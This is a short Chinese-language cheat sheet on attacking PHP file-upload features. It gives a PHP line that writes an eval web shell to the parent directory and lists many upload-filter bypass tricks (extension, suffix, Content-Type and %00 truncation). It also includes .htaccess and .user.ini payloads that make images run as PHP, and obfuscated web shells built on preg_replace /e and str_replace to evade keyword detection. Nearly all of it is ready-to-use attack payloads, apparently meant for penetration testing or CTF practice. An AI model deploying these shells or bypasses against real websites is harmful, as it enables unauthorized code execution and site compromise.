写马的马
往上级目录写一个马,试用当前目录每隔一段时间就会删文件的情况。
<?php fputs(fopen("../shell.php","w"),"<?php @eval($_POST[a]);?>")?>
绕过
- 抓包或禁用js:主要绕过前端js验证。
- 空格绕过:后缀加空格,主要是针对Windows。
- 点绕过:后缀加.
- 点+空格+点:组合起来。
- ::$DATA:后缀加上,主要是针对Windows。
- 双写:绕过关键词过滤。
- 大小写:绕过固定关键词检测。
- 双重后缀:主要配合解析漏洞,iis(test.php;.jpg,test.php/x.gif),apache(test.php.x.x)。
- 特殊后缀:php2,php3,php4,php5,php7,pht,phtm,phtml。
- 文件流:修改Content-Type为image/jpeg,image/gif等。
- %00截断:test.php%00.jpg,然后将%00进行url decode。
.htaccess:内容为如下,其中,test.gif是接下来要传上去的带马文件。
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini:适用范围比.htaccess更广泛。内容为:
GIF89a
auto_prepend_file=a.jpg
如果检测了关键词,比如<?,eval,assert,GET,POST等:
<script language="php">
@preg_replace("/abcde/e", $_REQUEST['a'], "abcdefg");
</script>
因为preg_replace是正则匹配函数,第一个参数是匹配在两个/中间的字符串,但是如果后面加了个e,那么第二个参数将可以当成命令来执行,第三个参数是要匹配的字符串,包含有第一个参数要匹配的字符串即可。但是只能代码执行,不能命令执行,也就是不能连蚁剑等。
或者利用str_replace
<script language="php">
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_REQUEST['a']);
</script>